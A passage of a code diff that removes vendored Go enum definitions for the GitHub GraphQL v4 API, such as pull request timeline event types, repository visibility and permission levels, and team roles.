PullRequestTimelineItemsItemType = "PULL_REQUEST_REVISION_MARKER" // Represents the latest point in the pull request timeline for which the viewer has seen the pull request's commits. - PullRequestTimelineItemsItemTypeBaseRefChangedEvent PullRequestTimelineItemsItemType = "BASE_REF_CHANGED_EVENT" // Represents a 'base_ref_changed' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeBaseRefForcePushedEvent PullRequestTimelineItemsItemType = "BASE_REF_FORCE_PUSHED_EVENT" // Represents a 'base_ref_force_pushed' event on a given pull request. - PullRequestTimelineItemsItemTypeDeployedEvent PullRequestTimelineItemsItemType = "DEPLOYED_EVENT" // Represents a 'deployed' event on a given pull request. - PullRequestTimelineItemsItemTypeDeploymentEnvironmentChangedEvent PullRequestTimelineItemsItemType = "DEPLOYMENT_ENVIRONMENT_CHANGED_EVENT" // Represents a 'deployment_environment_changed' event on a given pull request. - PullRequestTimelineItemsItemTypeHeadRefDeletedEvent PullRequestTimelineItemsItemType = "HEAD_REF_DELETED_EVENT" // Represents a 'head_ref_deleted' event on a given pull request. - PullRequestTimelineItemsItemTypeHeadRefForcePushedEvent PullRequestTimelineItemsItemType = "HEAD_REF_FORCE_PUSHED_EVENT" // Represents a 'head_ref_force_pushed' event on a given pull request. - PullRequestTimelineItemsItemTypeHeadRefRestoredEvent PullRequestTimelineItemsItemType = "HEAD_REF_RESTORED_EVENT" // Represents a 'head_ref_restored' event on a given pull request. - PullRequestTimelineItemsItemTypeMergedEvent PullRequestTimelineItemsItemType = "MERGED_EVENT" // Represents a 'merged' event on a given pull request. - PullRequestTimelineItemsItemTypeReviewDismissedEvent PullRequestTimelineItemsItemType = "REVIEW_DISMISSED_EVENT" // Represents a 'review_dismissed' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeReviewRequestedEvent PullRequestTimelineItemsItemType = "REVIEW_REQUESTED_EVENT" // Represents an 'review_requested' event on a given pull request. - PullRequestTimelineItemsItemTypeReviewRequestRemovedEvent PullRequestTimelineItemsItemType = "REVIEW_REQUEST_REMOVED_EVENT" // Represents an 'review_request_removed' event on a given pull request. - PullRequestTimelineItemsItemTypeReadyForReviewEvent PullRequestTimelineItemsItemType = "READY_FOR_REVIEW_EVENT" // Represents a 'ready_for_review' event on a given pull request. - PullRequestTimelineItemsItemTypeIssueComment PullRequestTimelineItemsItemType = "ISSUE_COMMENT" // Represents a comment on an Issue. - PullRequestTimelineItemsItemTypeCrossReferencedEvent PullRequestTimelineItemsItemType = "CROSS_REFERENCED_EVENT" // Represents a mention made by one issue or pull request to another. - PullRequestTimelineItemsItemTypeAddedToProjectEvent PullRequestTimelineItemsItemType = "ADDED_TO_PROJECT_EVENT" // Represents a 'added_to_project' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeAssignedEvent PullRequestTimelineItemsItemType = "ASSIGNED_EVENT" // Represents an 'assigned' event on any assignable object. - PullRequestTimelineItemsItemTypeClosedEvent PullRequestTimelineItemsItemType = "CLOSED_EVENT" // Represents a 'closed' event on any `Closable`. - PullRequestTimelineItemsItemTypeCommentDeletedEvent PullRequestTimelineItemsItemType = "COMMENT_DELETED_EVENT" // Represents a 'comment_deleted' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeConvertedNoteToIssueEvent PullRequestTimelineItemsItemType = "CONVERTED_NOTE_TO_ISSUE_EVENT" // Represents a 'converted_note_to_issue' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeDemilestonedEvent PullRequestTimelineItemsItemType = "DEMILESTONED_EVENT" // Represents a 'demilestoned' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeLabeledEvent PullRequestTimelineItemsItemType = "LABELED_EVENT" // Represents a 'labeled' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeLockedEvent PullRequestTimelineItemsItemType = "LOCKED_EVENT" // Represents a 'locked' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeMarkedAsDuplicateEvent PullRequestTimelineItemsItemType = "MARKED_AS_DUPLICATE_EVENT" // Represents a 'marked_as_duplicate' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeMentionedEvent PullRequestTimelineItemsItemType = "MENTIONED_EVENT" // Represents a 'mentioned' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeMilestonedEvent PullRequestTimelineItemsItemType = "MILESTONED_EVENT" // Represents a 'milestoned' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeMovedColumnsInProjectEvent PullRequestTimelineItemsItemType = "MOVED_COLUMNS_IN_PROJECT_EVENT" // Represents a 'moved_columns_in_project' event on a given issue or pull request. - PullRequestTimelineItemsItemTypePinnedEvent PullRequestTimelineItemsItemType = "PINNED_EVENT" // Represents a 'pinned' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeReferencedEvent PullRequestTimelineItemsItemType = "REFERENCED_EVENT" // Represents a 'referenced' event on a given `ReferencedSubject`. - PullRequestTimelineItemsItemTypeRemovedFromProjectEvent PullRequestTimelineItemsItemType = "REMOVED_FROM_PROJECT_EVENT" // Represents a 'removed_from_project' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeRenamedTitleEvent PullRequestTimelineItemsItemType = "RENAMED_TITLE_EVENT" // Represents a 'renamed' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeReopenedEvent PullRequestTimelineItemsItemType = "REOPENED_EVENT" // Represents a 'reopened' event on any `Closable`. - PullRequestTimelineItemsItemTypeSubscribedEvent PullRequestTimelineItemsItemType = "SUBSCRIBED_EVENT" // Represents a 'subscribed' event on a given `Subscribable`. - PullRequestTimelineItemsItemTypeTransferredEvent PullRequestTimelineItemsItemType = "TRANSFERRED_EVENT" // Represents a 'transferred' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeUnassignedEvent PullRequestTimelineItemsItemType = "UNASSIGNED_EVENT" // Represents an 'unassigned' event on any assignable object. - PullRequestTimelineItemsItemTypeUnlabeledEvent PullRequestTimelineItemsItemType = "UNLABELED_EVENT" // Represents an 'unlabeled' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeUnlockedEvent PullRequestTimelineItemsItemType = "UNLOCKED_EVENT" // Represents an 'unlocked' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeUserBlockedEvent PullRequestTimelineItemsItemType = "USER_BLOCKED_EVENT" // Represents a 'user_blocked' event on a given user. - PullRequestTimelineItemsItemTypeUnpinnedEvent PullRequestTimelineItemsItemType = "UNPINNED_EVENT" // Represents an 'unpinned' event on a given issue or pull request. - PullRequestTimelineItemsItemTypeUnsubscribedEvent PullRequestTimelineItemsItemType = "UNSUBSCRIBED_EVENT" // Represents an 'unsubscribed' event on a given `Subscribable`. -) - -// PullRequestUpdateState represents the possible target states when updating a pull request. -type PullRequestUpdateState string - -// The possible target states when updating a pull request. -const ( - PullRequestUpdateStateOpen PullRequestUpdateState = "OPEN" // A pull request that is still open. - PullRequestUpdateStateClosed PullRequestUpdateState = "CLOSED" // A pull request that has been closed without being merged. -) - -// ReactionContent represents emojis that can be attached to Issues, Pull Requests and Comments. -type ReactionContent string - -// Emojis that can be attached to Issues, Pull Requests and Comments. -const ( - ReactionContentThumbsUp ReactionContent = "THUMBS_UP" // Represents the `:+1:` emoji. - ReactionContentThumbsDown ReactionContent = "THUMBS_DOWN" // Represents the `:-1:` emoji. - ReactionContentLaugh ReactionContent = "LAUGH" // Represents the `:laugh:` emoji. - ReactionContentHooray ReactionContent = "HOORAY" // Represents the `:hooray:` emoji. - ReactionContentConfused ReactionContent = "CONFUSED" // Represents the `:confused:` emoji. - ReactionContentHeart ReactionContent = "HEART" // Represents the `:heart:` emoji. - ReactionContentRocket ReactionContent = "ROCKET" // Represents the `:rocket:` emoji. - ReactionContentEyes ReactionContent = "EYES" // Represents the `:eyes:` emoji. -) - -// ReactionOrderField represents a list of fields that reactions can be ordered by. -type ReactionOrderField string - -// A list of fields that reactions can be ordered by. -const ( - ReactionOrderFieldCreatedAt ReactionOrderField = "CREATED_AT" // Allows ordering a list of reactions by when they were created. -) - -// RefOrderField represents properties by which ref connections can be ordered. -type RefOrderField string - -// Properties by which ref connections can be ordered. -const ( - RefOrderFieldTagCommitDate RefOrderField = "TAG_COMMIT_DATE" // Order refs by underlying commit date if the ref prefix is refs/tags/. - RefOrderFieldAlphabetical RefOrderField = "ALPHABETICAL" // Order refs by their alphanumeric name. -) - -// RegistryPackageDependencyType represents the possible types of a registry package dependency. -type RegistryPackageDependencyType string - -// The possible types of a registry package dependency. -const ( - RegistryPackageDependencyTypeDefault RegistryPackageDependencyType = "DEFAULT" // A default registry package dependency type. - RegistryPackageDependencyTypeDev RegistryPackageDependencyType = "DEV" // A dev registry package dependency type. - RegistryPackageDependencyTypeTest RegistryPackageDependencyType = "TEST" // A test registry package dependency type. - RegistryPackageDependencyTypePeer RegistryPackageDependencyType = "PEER" // A peer registry package dependency type. - RegistryPackageDependencyTypeOptional RegistryPackageDependencyType = "OPTIONAL" // An optional registry package dependency type. - RegistryPackageDependencyTypeBundled RegistryPackageDependencyType = "BUNDLED" // An optional registry package dependency type. -) - -// RegistryPackageFileState represents the possible states of a registry package file. -type RegistryPackageFileState string - -// The possible states of a registry package file. -const ( - RegistryPackageFileStateNew RegistryPackageFileState = "NEW" // Package file doesn't have a blob backing it. - RegistryPackageFileStateUploaded RegistryPackageFileState = "UPLOADED" // All Package file contents have been uploaded. -) - -// RegistryPackageType represents the possible types of a registry package. -type RegistryPackageType string - -// The possible types of a registry package. -const ( - RegistryPackageTypeNpm RegistryPackageType = "NPM" // An npm registry package. - RegistryPackageTypeRubygems RegistryPackageType = "RUBYGEMS" // A rubygems registry package. - RegistryPackageTypeMaven RegistryPackageType = "MAVEN" // A maven registry package. - RegistryPackageTypeDocker RegistryPackageType = "DOCKER" // A docker image. - RegistryPackageTypeDebian RegistryPackageType = "DEBIAN" // A debian package. - RegistryPackageTypeNuget RegistryPackageType = "NUGET" // A nuget package. - RegistryPackageTypePython RegistryPackageType = "PYTHON" // A python package. -) - -// ReleaseOrderField represents properties by which release connections can be ordered. -type ReleaseOrderField string - -// Properties by which release connections can be ordered. -const ( - ReleaseOrderFieldCreatedAt ReleaseOrderField = "CREATED_AT" // Order releases by creation time. - ReleaseOrderFieldName ReleaseOrderField = "NAME" // Order releases alphabetically by name. -) - -// RepoAccessAuditEntryVisibility represents the privacy of a repository. -type RepoAccessAuditEntryVisibility string - -// The privacy of a repository. -const ( - RepoAccessAuditEntryVisibilityInternal RepoAccessAuditEntryVisibility = "INTERNAL" // The repository is visible only to users in the same business. - RepoAccessAuditEntryVisibilityPrivate RepoAccessAuditEntryVisibility = "PRIVATE" // The repository is visible only to those with explicit access. - RepoAccessAuditEntryVisibilityPublic RepoAccessAuditEntryVisibility = "PUBLIC" // The repository is visible to everyone. -) - -// RepoAddMemberAuditEntryVisibility represents the privacy of a repository. -type RepoAddMemberAuditEntryVisibility string - -// The privacy of a repository. -const ( - RepoAddMemberAuditEntryVisibilityInternal RepoAddMemberAuditEntryVisibility = "INTERNAL" // The repository is visible only to users in the same business. - RepoAddMemberAuditEntryVisibilityPrivate RepoAddMemberAuditEntryVisibility = "PRIVATE" // The repository is visible only to those with explicit access. - RepoAddMemberAuditEntryVisibilityPublic RepoAddMemberAuditEntryVisibility = "PUBLIC" // The repository is visible to everyone. -) - -// RepoArchivedAuditEntryVisibility represents the privacy of a repository. -type RepoArchivedAuditEntryVisibility string - -// The privacy of a repository. -const ( - RepoArchivedAuditEntryVisibilityInternal RepoArchivedAuditEntryVisibility = "INTERNAL" // The repository is visible only to users in the same business. - RepoArchivedAuditEntryVisibilityPrivate RepoArchivedAuditEntryVisibility = "PRIVATE" // The repository is visible only to those with explicit access. - RepoArchivedAuditEntryVisibilityPublic RepoArchivedAuditEntryVisibility = "PUBLIC" // The repository is visible to everyone. -) - -// RepoChangeMergeSettingAuditEntryMergeType represents the merge options available for pull requests to this repository. -type RepoChangeMergeSettingAuditEntryMergeType string - -// The merge options available for pull requests to this repository. -const ( - RepoChangeMergeSettingAuditEntryMergeTypeMerge RepoChangeMergeSettingAuditEntryMergeType = "MERGE" // The pull request is added to the base branch in a merge commit. - RepoChangeMergeSettingAuditEntryMergeTypeRebase RepoChangeMergeSettingAuditEntryMergeType = "REBASE" // Commits from the pull request are added onto the base branch individually without a merge commit. - RepoChangeMergeSettingAuditEntryMergeTypeSquash RepoChangeMergeSettingAuditEntryMergeType = "SQUASH" // The pull request's commits are squashed into a single commit before they are merged to the base branch. -) - -// RepoCreateAuditEntryVisibility represents the privacy of a repository. -type RepoCreateAuditEntryVisibility string - -// The privacy of a repository. -const ( - RepoCreateAuditEntryVisibilityInternal RepoCreateAuditEntryVisibility = "INTERNAL" // The repository is visible only to users in the same business. - RepoCreateAuditEntryVisibilityPrivate RepoCreateAuditEntryVisibility = "PRIVATE" // The repository is visible only to those with explicit access. - RepoCreateAuditEntryVisibilityPublic RepoCreateAuditEntryVisibility = "PUBLIC" // The repository is visible to everyone. -) - -// RepoDestroyAuditEntryVisibility represents the privacy of a repository. -type RepoDestroyAuditEntryVisibility string - -// The privacy of a repository. -const ( - RepoDestroyAuditEntryVisibilityInternal RepoDestroyAuditEntryVisibility = "INTERNAL" // The repository is visible only to users in the same business. - RepoDestroyAuditEntryVisibilityPrivate RepoDestroyAuditEntryVisibility = "PRIVATE" // The repository is visible only to those with explicit access. - RepoDestroyAuditEntryVisibilityPublic RepoDestroyAuditEntryVisibility = "PUBLIC" // The repository is visible to everyone. -) - -// RepoRemoveMemberAuditEntryVisibility represents the privacy of a repository. -type RepoRemoveMemberAuditEntryVisibility string - -// The privacy of a repository. -const ( - RepoRemoveMemberAuditEntryVisibilityInternal RepoRemoveMemberAuditEntryVisibility = "INTERNAL" // The repository is visible only to users in the same business. - RepoRemoveMemberAuditEntryVisibilityPrivate RepoRemoveMemberAuditEntryVisibility = "PRIVATE" // The repository is visible only to those with explicit access. - RepoRemoveMemberAuditEntryVisibilityPublic RepoRemoveMemberAuditEntryVisibility = "PUBLIC" // The repository is visible to everyone. -) - -// ReportedContentClassifiers represents the reasons a piece of content can be reported or minimized. -type ReportedContentClassifiers string - -// The reasons a piece of content can be reported or minimized. -const ( - ReportedContentClassifiersSpam ReportedContentClassifiers = "SPAM" // A spammy piece of content. - ReportedContentClassifiersAbuse ReportedContentClassifiers = "ABUSE" // An abusive or harassing piece of content. - ReportedContentClassifiersOffTopic ReportedContentClassifiers = "OFF_TOPIC" // An irrelevant piece of content. - ReportedContentClassifiersOutdated ReportedContentClassifiers = "OUTDATED" // An outdated piece of content. - ReportedContentClassifiersResolved ReportedContentClassifiers = "RESOLVED" // The content has been resolved. -) - -// RepositoryAffiliation represents the affiliation of a user to a repository. -type RepositoryAffiliation string - -// The affiliation of a user to a repository. -const ( - RepositoryAffiliationOwner RepositoryAffiliation = "OWNER" // Repositories that are owned by the authenticated user. - RepositoryAffiliationCollaborator RepositoryAffiliation = "COLLABORATOR" // Repositories that the user has been added to as a collaborator. - RepositoryAffiliationOrganizationMember RepositoryAffiliation = "ORGANIZATION_MEMBER" // Repositories that the user has access to through being a member of an organization. This includes every repository on every team that the user is on. -) - -// RepositoryCollaboratorAffiliation represents the affiliation type between collaborator and repository. -type RepositoryCollaboratorAffiliation string - -// The affiliation type between collaborator and repository. -const ( - RepositoryCollaboratorAffiliationAll RepositoryCollaboratorAffiliation = "ALL" // All collaborators of the repository. - RepositoryCollaboratorAffiliationOutside RepositoryCollaboratorAffiliation = "OUTSIDE" // All outside collaborators of an organization-owned repository. -) - -// RepositoryContributionType represents the reason a repository is listed as 'contributed'. -type RepositoryContributionType string - -// The reason a repository is listed as 'contributed'. -const ( - RepositoryContributionTypeCommit RepositoryContributionType = "COMMIT" // Created a commit. - RepositoryContributionTypeIssue RepositoryContributionType = "ISSUE" // Created an issue. - RepositoryContributionTypePullRequest RepositoryContributionType = "PULL_REQUEST" // Created a pull request. - RepositoryContributionTypeRepository RepositoryContributionType = "REPOSITORY" // Created the repository. - RepositoryContributionTypePullRequestReview RepositoryContributionType = "PULL_REQUEST_REVIEW" // Reviewed a pull request. -) - -// RepositoryInvitationOrderField represents properties by which repository invitation connections can be ordered. -type RepositoryInvitationOrderField string - -// Properties by which repository invitation connections can be ordered. -const ( - RepositoryInvitationOrderFieldCreatedAt RepositoryInvitationOrderField = "CREATED_AT" // Order repository invitations by creation time. - RepositoryInvitationOrderFieldInviteeLogin RepositoryInvitationOrderField = "INVITEE_LOGIN" // Order repository invitations by invitee login. -) - -// RepositoryLockReason represents the possible reasons a given repository could be in a locked state. -type RepositoryLockReason string - -// The possible reasons a given repository could be in a locked state. -const ( - RepositoryLockReasonMoving RepositoryLockReason = "MOVING" // The repository is locked due to a move. - RepositoryLockReasonBilling RepositoryLockReason = "BILLING" // The repository is locked due to a billing related reason. - RepositoryLockReasonRename RepositoryLockReason = "RENAME" // The repository is locked due to a rename. - RepositoryLockReasonMigrating RepositoryLockReason = "MIGRATING" // The repository is locked due to a migration. -) - -// RepositoryOrderField represents properties by which repository connections can be ordered. -type RepositoryOrderField string - -// Properties by which repository connections can be ordered. -const ( - RepositoryOrderFieldCreatedAt RepositoryOrderField = "CREATED_AT" // Order repositories by creation time. - RepositoryOrderFieldUpdatedAt RepositoryOrderField = "UPDATED_AT" // Order repositories by update time. - RepositoryOrderFieldPushedAt RepositoryOrderField = "PUSHED_AT" // Order repositories by push time. - RepositoryOrderFieldName RepositoryOrderField = "NAME" // Order repositories by name. - RepositoryOrderFieldStargazers RepositoryOrderField = "STARGAZERS" // Order repositories by number of stargazers. -) - -// RepositoryPermission represents the access level to a repository. -type RepositoryPermission string - -// The access level to a repository. -const ( - RepositoryPermissionAdmin RepositoryPermission = "ADMIN" // Can read, clone, and push to this repository. Can also manage issues, pull requests, and repository settings, including adding collaborators. - RepositoryPermissionMaintain RepositoryPermission = "MAINTAIN" // Can read, clone, and push to this repository. They can also manage issues, pull requests, and some repository settings. - RepositoryPermissionWrite RepositoryPermission = "WRITE" // Can read, clone, and push to this repository. Can also manage issues and pull requests. - RepositoryPermissionTriage RepositoryPermission = "TRIAGE" // Can read and clone this repository. Can also manage issues and pull requests. - RepositoryPermissionRead RepositoryPermission = "READ" // Can read and clone this repository. Can also open and comment on issues and pull requests. -) - -// RepositoryPrivacy represents the privacy of a repository. -type RepositoryPrivacy string - -// The privacy of a repository. -const ( - RepositoryPrivacyPublic RepositoryPrivacy = "PUBLIC" // Public. - RepositoryPrivacyPrivate RepositoryPrivacy = "PRIVATE" // Private. -) - -// RepositoryVisibility represents the repository's visibility level. -type RepositoryVisibility string - -// The repository's visibility level. -const ( - RepositoryVisibilityPrivate RepositoryVisibility = "PRIVATE" // The repository is visible only to those with explicit access. - RepositoryVisibilityPublic RepositoryVisibility = "PUBLIC" // The repository is visible to everyone. - RepositoryVisibilityInternal RepositoryVisibility = "INTERNAL" // The repository is visible only to users in the same business. -) - -// SamlDigestAlgorithm represents the possible digest algorithms used to sign SAML requests for an identity provider. -type SamlDigestAlgorithm string - -// The possible digest algorithms used to sign SAML requests for an identity provider. -const ( - SamlDigestAlgorithmSha1 SamlDigestAlgorithm = "SHA1" // SHA1. - SamlDigestAlgorithmSha256 SamlDigestAlgorithm = "SHA256" // SHA256. - SamlDigestAlgorithmSha384 SamlDigestAlgorithm = "SHA384" // SHA384. - SamlDigestAlgorithmSha512 SamlDigestAlgorithm = "SHA512" // SHA512. -) - -// SamlSignatureAlgorithm represents the possible signature algorithms used to sign SAML requests for a Identity Provider. -type SamlSignatureAlgorithm string - -// The possible signature algorithms used to sign SAML requests for a Identity Provider. -const ( - SamlSignatureAlgorithmRsaSha1 SamlSignatureAlgorithm = "RSA_SHA1" // RSA-SHA1. - SamlSignatureAlgorithmRsaSha256 SamlSignatureAlgorithm = "RSA_SHA256" // RSA-SHA256. - SamlSignatureAlgorithmRsaSha384 SamlSignatureAlgorithm = "RSA_SHA384" // RSA-SHA384. - SamlSignatureAlgorithmRsaSha512 SamlSignatureAlgorithm = "RSA_SHA512" // RSA-SHA512. -) - -// SavedReplyOrderField represents properties by which saved reply connections can be ordered. -type SavedReplyOrderField string - -// Properties by which saved reply connections can be ordered. -const ( - SavedReplyOrderFieldUpdatedAt SavedReplyOrderField = "UPDATED_AT" // Order saved reply by when they were updated. -) - -// SearchType represents represents the individual results of a search. -type SearchType string - -// Represents the individual results of a search. -const ( - SearchTypeIssue SearchType = "ISSUE" // Returns results matching issues in repositories. - SearchTypeRepository SearchType = "REPOSITORY" // Returns results matching repositories. - SearchTypeUser SearchType = "USER" // Returns results matching users and organizations on GitHub. -) - -// SecurityAdvisoryEcosystem represents the possible ecosystems of a security vulnerability's package. -type SecurityAdvisoryEcosystem string - -// The possible ecosystems of a security vulnerability's package. -const ( - SecurityAdvisoryEcosystemRubygems SecurityAdvisoryEcosystem = "RUBYGEMS" // Ruby gems hosted at RubyGems.org. - SecurityAdvisoryEcosystemNpm SecurityAdvisoryEcosystem = "NPM" // JavaScript packages hosted at npmjs.com. - SecurityAdvisoryEcosystemPip SecurityAdvisoryEcosystem = "PIP" // Python packages hosted at PyPI.org. - SecurityAdvisoryEcosystemMaven SecurityAdvisoryEcosystem = "MAVEN" // Java artifacts hosted at the Maven central repository. - SecurityAdvisoryEcosystemNuget SecurityAdvisoryEcosystem = "NUGET" // .NET packages hosted at the NuGet Gallery. - SecurityAdvisoryEcosystemComposer SecurityAdvisoryEcosystem = "COMPOSER" // PHP packages hosted at packagist.org. -) - -// SecurityAdvisoryIdentifierType represents identifier formats available for advisories. -type SecurityAdvisoryIdentifierType string - -// Identifier formats available for advisories. -const ( - SecurityAdvisoryIdentifierTypeCve SecurityAdvisoryIdentifierType = "CVE" // Common Vulnerabilities and Exposures Identifier. - SecurityAdvisoryIdentifierTypeGhsa SecurityAdvisoryIdentifierType = "GHSA" // GitHub Security Advisory ID. -) - -// SecurityAdvisoryOrderField represents properties by which security advisory connections can be ordered. -type SecurityAdvisoryOrderField string - -// Properties by which security advisory connections can be ordered. -const ( - SecurityAdvisoryOrderFieldPublishedAt SecurityAdvisoryOrderField = "PUBLISHED_AT" // Order advisories by publication time. - SecurityAdvisoryOrderFieldUpdatedAt SecurityAdvisoryOrderField = "UPDATED_AT" // Order advisories by update time. -) - -// SecurityAdvisorySeverity represents severity of the vulnerability. -type SecurityAdvisorySeverity string - -// Severity of the vulnerability. -const ( - SecurityAdvisorySeverityLow SecurityAdvisorySeverity = "LOW" // Low. - SecurityAdvisorySeverityModerate SecurityAdvisorySeverity = "MODERATE" // Moderate. - SecurityAdvisorySeverityHigh SecurityAdvisorySeverity = "HIGH" // High. - SecurityAdvisorySeverityCritical SecurityAdvisorySeverity = "CRITICAL" // Critical. -) - -// SecurityVulnerabilityOrderField represents properties by which security vulnerability connections can be ordered. -type SecurityVulnerabilityOrderField string - -// Properties by which security vulnerability connections can be ordered. -const ( - SecurityVulnerabilityOrderFieldUpdatedAt SecurityVulnerabilityOrderField = "UPDATED_AT" // Order vulnerability by update time. -) - -// SponsorsTierOrderField represents properties by which Sponsors tiers connections can be ordered. -type SponsorsTierOrderField string - -// Properties by which Sponsors tiers connections can be ordered. -const ( - SponsorsTierOrderFieldCreatedAt SponsorsTierOrderField = "CREATED_AT" // Order tiers by creation time. - SponsorsTierOrderFieldMonthlyPriceInCents SponsorsTierOrderField = "MONTHLY_PRICE_IN_CENTS" // Order tiers by their monthly price in cents. -) - -// SponsorshipOrderField represents properties by which sponsorship connections can be ordered. -type SponsorshipOrderField string - -// Properties by which sponsorship connections can be ordered. -const ( - SponsorshipOrderFieldCreatedAt SponsorshipOrderField = "CREATED_AT" // Order sponsorship by creation time. -) - -// SponsorshipPrivacy represents the privacy of a sponsorship. -type SponsorshipPrivacy string - -// The privacy of a sponsorship. -const ( - SponsorshipPrivacyPublic SponsorshipPrivacy = "PUBLIC" // Public. - SponsorshipPrivacyPrivate SponsorshipPrivacy = "PRIVATE" // Private. -) - -// StarOrderField represents properties by which star connections can be ordered. -type StarOrderField string - -// Properties by which star connections can be ordered. -const ( - StarOrderFieldStarredAt StarOrderField = "STARRED_AT" // Allows ordering a list of stars by when they were created. -) - -// StatusState represents the possible commit status states. -type StatusState string - -// The possible commit status states. -const ( - StatusStateExpected StatusState = "EXPECTED" // Status is expected. - StatusStateError StatusState = "ERROR" // Status is errored. - StatusStateFailure StatusState = "FAILURE" // Status is failing. - StatusStatePending StatusState = "PENDING" // Status is pending. - StatusStateSuccess StatusState = "SUCCESS" // Status is successful. -) - -// SubscriptionState represents the possible states of a subscription. -type SubscriptionState string - -// The possible states of a subscription. -const ( - SubscriptionStateUnsubscribed SubscriptionState = "UNSUBSCRIBED" // The User is only notified when participating or @mentioned. - SubscriptionStateSubscribed SubscriptionState = "SUBSCRIBED" // The User is notified of all conversations. - SubscriptionStateIgnored SubscriptionState = "IGNORED" // The User is never notified. -) - -// TeamDiscussionCommentOrderField represents properties by which team discussion comment connections can be ordered. -type TeamDiscussionCommentOrderField string - -// Properties by which team discussion comment connections can be ordered. -const ( - TeamDiscussionCommentOrderFieldNumber TeamDiscussionCommentOrderField = "NUMBER" // Allows sequential ordering of team discussion comments (which is equivalent to chronological ordering). -) - -// TeamDiscussionOrderField represents properties by which team discussion connections can be ordered. -type TeamDiscussionOrderField string - -// Properties by which team discussion connections can be ordered. -const ( - TeamDiscussionOrderFieldCreatedAt TeamDiscussionOrderField = "CREATED_AT" // Allows chronological ordering of team discussions. -) - -// TeamMemberOrderField represents properties by which team member connections can be ordered. -type TeamMemberOrderField string - -// Properties by which team member connections can be ordered. -const ( - TeamMemberOrderFieldLogin TeamMemberOrderField = "LOGIN" // Order team members by login. - TeamMemberOrderFieldCreatedAt TeamMemberOrderField = "CREATED_AT" // Order team members by creation time. -) - -// TeamMemberRole represents the possible team member roles; either 'maintainer' or 'member'. -type TeamMemberRole string - -// The possible team member roles; either 'maintainer' or 'member'. -const ( - TeamMemberRoleMaintainer TeamMemberRole = "MAINTAINER" // A team maintainer has permission to add and remove team members. - TeamMemberRoleMember TeamMemberRole = "MEMBER" // A team member has no administrative permissions on the team. -) - -// TeamMembershipType represents defines which types of team members are included in the returned list. Can be one of IMMEDIATE, CHILD_TEAM or ALL. -type TeamMembershipType string - -// Defines which types of team members are included in the returned list. Can be one of IMMEDIATE, CHILD_TEAM or ALL. -const ( - TeamMembershipTypeImmediate TeamMembershipType = "IMMEDIATE" // Includes only immediate members of the team. - TeamMembershipTypeChildTeam TeamMembershipType = "CHILD_TEAM" // Includes only child team members for the team. - TeamMembershipTypeAll TeamMembershipType = "ALL" // Includes immediate and child team members for the team. -) - -// TeamOrderField represents properties by which team connections can be ordered. -type TeamOrderField string - -// Properties by which team connections can be ordered. -const ( - TeamOrderFieldName TeamOrderField = "NAME" // Allows ordering a list of teams by name. -) - -// TeamPrivacy represents the possible team privacy values. -type TeamPrivacy string - -// The possible team privacy values. -const ( - TeamPrivacySecret TeamPrivacy = "SECRET" // A secret team can only be seen by its members. - TeamPrivacyVisible TeamPrivacy = "VISIBLE" // A visible team can be seen and @mentioned by every member of the organization. -) - -// TeamRepositoryOrderField represents properties by which team repository connections can be ordered. -type TeamRepositoryOrderField string - -// Properties by which team repository connections can be ordered. -const ( - TeamRepositoryOrderFieldCreatedAt TeamRepositoryOrderField = "CREATED_AT" // Order repositories by creation time. - TeamRepositoryOrderFieldUpdatedAt TeamRepositoryOrderField = "UPDATED_AT" // Order repositories by update time. - TeamRepositoryOrderFieldPushedAt TeamRepositoryOrderField = "PUSHED_AT" // Order repositories by push time. - TeamRepositoryOrderFieldName TeamRepositoryOrderField = "NAME" // Order repositories by name. - TeamRepositoryOrderFieldPermission TeamRepositoryOrderField = "PERMISSION" // Order repositories by permission. - TeamRepositoryOrderFieldStargazers TeamRepositoryOrderField = "STARGAZERS" // Order repositories by number of stargazers. -) - -// TeamRole represents the role of a user on a team. -type TeamRole string - -// The role of a user on a team. -const ( - TeamRoleAdmin TeamRole = "ADMIN" // User has admin rights on the team. - TeamRoleMember TeamRole = "MEMBER" // User is a member of the team. -) - -// TopicSuggestionDeclineReason represents reason that the suggested topic is declined. -type TopicSuggestionDeclineReason string - -// Reason that the suggested topic is declined. -const ( - TopicSuggestionDeclineReasonNotRelevant TopicSuggestionDeclineReason = "NOT_RELEVANT" // The suggested topic is not relevant to the repository. - TopicSuggestionDeclineReasonTooSpecific TopicSuggestionDeclineReason = "TOO_SPECIFIC" // The suggested topic is too specific for the repository (e.g. #ruby-on-rails-version-4-2-1). - TopicSuggestionDeclineReasonPersonalPreference TopicSuggestionDeclineReason = "PERSONAL_PREFERENCE" // The viewer does not like the suggested topic. - TopicSuggestionDeclineReasonTooGeneral TopicSuggestionDeclineReason = "TOO_GENERAL" // The suggested topic is too general for the repository. -) - -// UserBlockDuration represents the possible durations that a user can be blocked for. -type UserBlockDuration string - -// The possible durations that a user can be blocked for. -const ( - UserBlockDurationOneDay UserBlockDuration = "ONE_DAY" // The user was blocked for 1 day. - UserBlockDurationThreeDays UserBlockDuration = "THREE_DAYS" // The user was blocked for 3 days. - UserBlockDurationOneWeek UserBlockDuration = "ONE_WEEK" // The user was blocked for 7 days. - UserBlockDurationOneMonth UserBlockDuration = "ONE_MONTH" // The user was blocked for 30 days. - UserBlockDurationPermanent UserBlockDuration = "PERMANENT" // The user was blocked permanently. -) - -// UserStatusOrderField represents properties by which user status connections can be ordered. -type UserStatusOrderField string - -// Properties by which user status connections can be ordered. -const ( - UserStatusOrderFieldUpdatedAt UserStatusOrderField = "UPDATED_AT" // Order user statuses by when they were updated. -) diff --git a/vendor/github.com/shurcooL/githubv4/githubv4.go b/vendor/github.com/shurcooL/githubv4/githubv4.go deleted file mode 100644 index 3a544bf2b0..0000000000 --- 